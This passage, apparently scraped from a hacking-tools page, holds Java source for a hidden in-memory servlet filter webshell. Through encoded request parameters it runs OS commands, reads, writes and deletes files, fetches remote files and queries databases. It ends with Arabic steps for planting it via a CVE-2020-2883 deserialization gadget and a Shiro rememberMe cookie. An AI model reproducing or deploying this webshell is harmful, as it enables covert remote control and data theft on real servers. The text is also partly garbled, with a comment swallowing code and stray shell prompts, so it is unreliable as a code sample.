String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
    File f = new File(fileOrDirPath);
    SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
    java.util.Date dt = fm.parse(aTime);
    f.setLastModified(dt.getTime());
    return "1";
}

String WgetCode(String urlPath, String saveFilePath) throws Exception {
    URL u = new URL(urlPath);
    int n = 0;
    FileOutputStream os = new FileOutputStream(saveFilePath);
    HttpURLConnection h = (HttpURLConnection) u.openConnection();
    InputStream is = h.getInputStream();
    byte[] b = new byte[512];
    while ((n = is.read(b)) != -1) {
        os.write(b, 0, n);
    }
    os.close();
    is.close();
    h.disconnect();
    return "1";
}

String SysInfoCode(ServletRequest r) throws Exception {

// String d = r.getServletContext().getRealPath("/"); String d = this.getClass().getClassLoader().getResource("/").getPath(); String serverInfo = System.getProperty("os.name"); String separator = File.separator; String user = System.getProperty("user.name"); String driverlist = WwwRootPathCode(r); return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; }

root@kitploit:~
boolean isWin() {
    String osname = System.getProperty("os.name");
    osname = osname.toLowerCase();
    if (osname.startsWith("win"))
        return true;
    return false;
}

String ExecuteCommandCode(String cmdPath, String command) throws Exception {
    StringBuffer sb = new StringBuffer("");
    String[] c = {cmdPath, !isWin() ? "-c" : "/c", command};
    Process p = Runtime.getRuntime().exec(c);
    CopyInputStream(p.getInputStream(), sb);
    CopyInputStream(p.getErrorStream(), sb);
    return sb.toString();
}

String decode(String str) {
    byte[] bt = null;
    try {
        sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
        bt = decoder.decodeBuffer(str);
    } catch (IOException e) {
        e.printStackTrace();
    }
    return new String(bt);
}

String decode(String str, String encode) {
    if (encode.equals("hex") || encode == "hex") {
        if (str == "null" || str.equals("null")) {
            return "";
        }
        StringBuilder sb = new StringBuilder();
        StringBuilder temp = new StringBuilder();
        try {
            for (int i = 0; i < str.length() - 1; i += 2) {
                String output = str.substring(i, (i + 2));
                int decimal = Integer.parseInt(output, 16);
                sb.append((char) decimal);
                temp.append(decimal);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return sb.toString();
    } else if (encode.equals("base64") || encode == "base64") {
        byte[] bt = null;
        try {
            sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
            bt = decoder.decodeBuffer(str);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return new String(bt);
    }
    return str;
}

void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
    String l;
    BufferedReader br = new BufferedReader(new InputStreamReader(is));
    while ((l = br.readLine()) != null) {
        sb.append(l + "\r\n");
    }
    br.close();
}

public void init(FilterConfig f) throws ServletException {
}


public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
    if (request.getParameter("size") != null) {
        response.setContentType("text/html");
        response.setCharacterEncoding(cs);
        StringBuffer sb = new StringBuffer("");
        try {
            String funccode = EC(request.getParameter(Pwd) + "");
            String z0 = decode(EC(request.getParameter("z0") + ""), encoder);
            String z1 = decode(EC(request.getParameter("z1") + ""), encoder);
            String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
            String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
            String[] pars = {z0, z1, z2, z3};
            sb.append("->|");

            if (funccode.equals("B")) {
                sb.append(FileTreeCode(pars[1]));
            } else if (funccode.equals("C")) {
                sb.append(ReadFileCode(pars[1]));
            } else if (funccode.equals("D")) {
                sb.append(WriteFileCode(pars[1], pars[2]));
            } else if (funccode.equals("E")) {
                sb.append(DeleteFileOrDirCode(pars[1]));
            } else if (funccode.equals("F")) {
                DownloadFileCode(pars[1], response);
            } else if (funccode.equals("U")) {
                sb.append(UploadFileCode(pars[1], pars[2]));
            } else if (funccode.equals("H")) {
                sb.append(CopyFileOrDirCode(pars[1], pars[2]));
            } else if (funccode.equals("I")) {
                sb.append(RenameFileOrDirCode(pars[1], pars[2]));
            } else if (funccode.equals("J")) {
                sb.append(CreateDirCode(pars[1]));
            } else if (funccode.equals("K")) {
                sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
            } else if (funccode.equals("L")) {
                sb.append(WgetCode(pars[1], pars[2]));
            } else if (funccode.equals("M")) {
                sb.append(ExecuteCommandCode(pars[1], pars[2]));
            } else if (funccode.equals("N")) {
                sb.append(showDatabases(pars[0], pars[1]));
            } else if (funccode.equals("O")) {
                sb.append(showTables(pars[0], pars[1], pars[2]));
            } else if (funccode.equals("P")) {
                sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
            } else if (funccode.equals("Q")) {
                sb.append(query(pars[0], pars[1], pars[2]));
            } else if (funccode.equals("A")) {
                sb.append(SysInfoCode(request));
            }
        } catch (Exception e) {
            sb.append("ERROR" + "://" + e.toString());
            e.printStackTrace();
        }
        sb.append("|<-");
        response.getWriter().print(sb.toString());
    } else {
        chain.doFilter(request, response);
    }
}

public void destroy() {
}

}

root@kitploit:~
الآن يمكنك التنفيذ مباشرة. أولاً، قم بحزم org.chabug.memshell.InjectFilterShell في ملف jar.```bash
jar cvf tttt.jar org\chabug\memshell\InjectFilterShell.class

image-20200825105630712

ثم اكتب tttt.jar و AntSwordFilterShell.class في الهدف. أخيرًا، استخدم CVE_2020_2883_URLClassLoader لإنشاء كعكة rememberMe لمهاجمة الهدف.

URLClassLoader -> tttt.jar -> InjectFilterShell static -> defineClass byte -> AntSwordFilterShell

شكل توضيحي: